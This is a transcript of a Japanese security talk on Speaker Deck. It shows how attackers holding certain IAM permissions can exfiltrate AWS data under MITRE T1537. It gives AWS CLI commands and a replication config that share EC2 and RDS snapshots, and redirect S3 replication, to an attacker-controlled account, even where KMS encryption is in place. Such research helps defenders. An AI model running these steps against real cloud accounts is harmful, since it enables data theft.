Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Abuse of Data Transfer between Cloud Accounts

Sponsored · Ship Features Fearlessly Turn features on and off without deploys. Used by thousands of Ruby developers.
Avatar for tigerszk tigerszk
October 06, 2022

Abuse of Data Transfer between Cloud Accounts

2022/10/5にMBSD勉強会にて登壇した際の資料です。

Avatar for tigerszk

tigerszk

October 06, 2022
Tweet

More Decks by tigerszk

Other Decks in Technology

Transcript

  1. Shun Suzaki(洲崎 俊) 三井物産セキュアディレクション株式会社に所属 ペネトレーションテストなどを中心としたセキュリティサービス提供に従事 コミュニティ運営・ITイベント開催などをライフワークとするお祭り好きのPentester I‘M A CERTAIN PENTESTER!

    公開スライド : http://www.slideshare.net/zaki4649/ https://speakerdeck.com/tigerszk Blog :http://tigerszk.hatenablog.com/ 著書(翻訳):詳解HTTP/2、ハンズオンWebAssembly Twitter: とある診断員@tigerszk 自己紹介
  2. 攻撃手法の分類はこれっぽい? ⚫ Transfer Data to Cloud Account Tactic: Exfiltration ID:

    T1537 https://attack.mitre.org/techniques/T1537/ 本文の一部を引用: Adversaries may exfiltrate data by transferring the data, including backups of cloud environments, to another cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection. 翻訳: 攻撃者は、クラウド環境のバックアップを含むデータを同じサービスで制御す る別のクラウドアカウントに転送することで、データを盗み出す可能性があり ます。これにより、通常のファイル転送/ダウンロードや、ネットワークベー スの盗み出しの検出を回避できます。
  3. 今回の本題 ということで今回は自分が一番良く触っているクラウドサービスである AWSの以下サービスにて、本攻撃手法を悪用するようなシナリオについ て検証・考察してみました。 • Amazon EC2 ご存じAWSのIaaSサービス。LinuxやWindowsサーバーを簡単 に構築できる https://aws.amazon.com/jp/ec2/

    • Amazon RDS 複数のデータベースエンジンを利用でき、運用やスケーリン グなども行ってくれるAWSのマネージドデータベースサービス https://aws.amazon.com/jp/rds/ • Amazon S3 AWSが提供するWebインターフェースを持つオンラインスト レージサービス https://aws.amazon.com/jp/s3/
  4. EC2における悪用例(イメージ図) 被害者のAWS環境 稼働しているEC2 攻撃者のAWS環境 ①稼働するEC2インスタンス からスナップショットを取得 攻撃者が用意したEC2 ②スナップショットを攻撃者の AWSアカウントに共有 ③スナップショットからEBSボリュームを作成し

    て攻撃者のEC2インスタンスからマウントして、 内部情報を奪取 稼働EC2インスタンスに直接アクセスできなくても、スナップ ショットを取得することで、EC2インスタンス内のデータを奪取す ることができます。
  5. ⚫ 被害者環境にて攻撃者が取得している必要があるIAMポリシー ◼ ec2:CreateSnapshot ◼ ec2:ModifySnapshotAttribute ⚫ 検証時のAWS CLIの実行例 EC2における悪用例(検証した内容)

    aws ec2 create-snapshot --volume-id <EC2にアタッチされているEBSボリュームのID> aws ec2 modify-snapshot-attribute --snapshot-id <作成したスナップショットのID> --attribute createVolumePermission --operation-type remove --user-ids <被害者のAWSアカウントID> aws ec2 modify-snapshot-attribute --snapshot-id <作成したスナップショットのID> --attribute createVolumePermission --operation-type add --user-ids <攻撃者のAWSアカウントID> 稼働しているEC2にアタッチされているEBSボリュームのスナップショットを作成 スナップショットにセットしてあるデフォルトのAWS アカウントIDを削除 スナップショットのAWSアカウントIDを攻撃者のものに変更 後は攻撃者のAWSアカウントにて該当のスナップショットよりEBSボリュームを作成し、 適当なEC2インスタンスよりマウントして解析すればよい。
  6. RDSにおける悪用例(イメージ図) 被害者のAWS環境 稼働しているRDS 攻撃者のAWS環境 ①稼働するRDSインスタンス からスナップショットを取得 攻撃者が用意したEC2 ②スナップショットを攻撃者の AWSアカウントに共有 ③スナップショットからRDSインスタンスを復元し、

    マスターパスワードを好きな値に設定 基本的にはEC2と同じ流れです。 稼働RDSインスタンスに直接アクセスできなくても、スナップショットを 取得することで、DB内のデータを奪取することができます。 ④復元したRDSインスタンに設定したパスワードで 接続し、DB内の情報を奪取 復元したRDS
  7. ⚫ 被害者環境にて攻撃者が取得している必要があるIAMポリシー ◼ rds:CreateDBSnapshot ◼ rds:ModifyDBSnapshotAttribute ⚫ 検証時のAWS CLIの実行例 RDSにおける悪用例(検証した内容)

    aws rds create-db-snapshot --db-instance-identifier <攻撃対象のRDSの名前> --db-snapshot- identifier victim-rds-snapshot aws rds modify-db-snapshot-attribute --db-snapshot-identifier victim-rds-snapshot -- attribute-name restore --values-to-add <攻撃者のAWSアカウントID> 稼働しているRDSスナップショットを作成 作成したRDSスナップショットを攻撃者のAWSアカウントに共有する 後は、攻撃者側の環境にて、共有されたスナップショットよりRDSを復元し、データベース インスタンスを立ち上げる。 立ち上げたインスタンスのマスターパスワードを好きな値に設定し、設定したパスワードで データベースにアクセスすればよい。
  8. 被害者のAWS環境 バックアップ用のAWS環境 攻撃者のAWS環境 運用するS3バケット 制限が緩いロール S3バケットのデータをレプリケーション するように設定している バックアップ先のS3バケット ①制限が緩いロールを利用され、攻撃者にレプ リケーションルールを勝手に追加

    or 編集され て、攻撃者のS3バケットをレプリケーション 先に追加される。 攻撃者のAWS環境のS3バケットにレプリケーションを行うよ うに勝手に設定変更し、データを奪取します。 S3における悪用例(イメージ図) ②レプリケーションルールを元に、バッチオペ レーションが実行され、S3上に存在する全ての オブジェクトを攻撃者の環境のS3バケットに転 送され、データを奪取されてしまう。 攻撃者が用意したS3バケット
  9. ⚫ 被害者環境にて攻撃者が取得している必要があるIAMポリシー ◼ s3:PutReplicationConfiguration ◼ s3:CreateJob ◼ iam:PassRole ⚫ 検証時のAWS

    CLIの実行例 S3における悪用例(検証した内容) aws s3api put-bucket-replication --replication-configuration file://replicationConf.json --bucket <被害者のS3バケット> 被害者のS3バケットに設定されているレプリケーションルールを上書き ※replicationConf.jsonの内容は次のスライドに記載
  10. { “Role”: “<利用する被害者環境のroleのarn> ", "Rules": [ { "ID": "s3-rep", "Priority":

    0, "Filter": {}, "Status": "Enabled", "Destination": { “Bucket”: “<正規のレプリケーション先のS3バケットのarn>", “Account”: “<バックアップ用環境のAWSアカウントID>",", "AccessControlTranslation": { "Owner": "Destination" } }, "DeleteMarkerReplication": { "Status": "Disabled" } }, { "ID": "s3-rep2", "Priority": 1, "Filter": {}, "Status": "Enabled", "Destination": { “Bucket”: “<攻撃者環境のS3バケットのarn>", “Account”: “ <攻撃者環境のAWSアカウントID> ", "AccessControlTranslation": { "Owner": "Destination" } }, "DeleteMarkerReplication": { "Status": "Disabled" } } ] } S3における悪用例(検証した内容) replicationConf.jsonにレプリケーションルールの設定を記載している。 検証時には攻撃者環境のS3バケットを指定するようなレプリケーションルールを追加している。 元々設定していた レプリケーションルール 攻撃者が新たに追加した レプリケーションルール
  11. ⚫ 検証時のAWS CLIの実行例 S3における悪用例(検証した内容) aws s3control create-job --account-id <被害者環境のAWSアカウントID> --operation

    ‘{“S3ReplicateObject”:{}}’ --report ‘{“Bucket”:““<被害者環境のS3バケットのarn>”,“Prefix”:“batch- replication-report”, “Format”:“Report_CSV_20180820”,“Enabled”:true,“ReportScope”:“AllTasks”}’ --manifest-generator ‘{“S3JobManifestGenerator”: {“SourceBucket”: “<被害者環境のS3バケットの arn>”, “EnableManifestOutput”: false, “Filter”: {“EligibleForReplication”: true, “ObjectReplicationStatuses”: [“NONE”,“FAILED”,“COMPLETED”,“REPLICA”]}}}’ --priority 1 --role- arn <利用する被害者環境のroleのarn> --no-confirmation-required --region <S3バケットのリージョン> 先ほどのルールを設定しただけでも、新たにS3に書き込まれたオブジェクトは攻撃者環境のS3バケッ トへ転送される。 ルールを設定した時点で被害者環境のS3バケットに存在していたオブジェクトは転送されないため、 設定したレプリケーションルールを元にバッチオペレーションジョブを実行させてS3内のオブジェク ト全てを攻撃者のS3バケットに転送させる。
  12. 条件によっては暗号化されていても… 被害者のAWS環境 稼働しているEC2(暗号化) 攻撃者のAWS環境 ①KMSを利用して新たなCMKを作成し、攻 撃者のAWS環境と共有するように設定 攻撃者が用意したEC2 ④スナップショットのコピー(作成したCMKで 暗号化)を攻撃者のAWSアカウントに共有 ⑤暗号化に使用されているCMKは攻撃者の

    AWS環境側での利用できるため、共有された スナップショットのコピーからEBSボリュー ムを作成できる。 KMSを利用してEC2インスタンスを暗号化していたとしても、攻撃 者が条件をクリアできるような権限を取得していれば、情報を奪取 されてしまう可能性がありえます。 ②稼働するEC2インスタン スからスナップショット (暗号化)を取得 ③新たに作成したCMKを指定 して、作成したスナップ ショットのコピーを作成する。 ⑥作成したEBSボリュームを攻撃者の EC2インスタンスからマウントして、 情報を奪取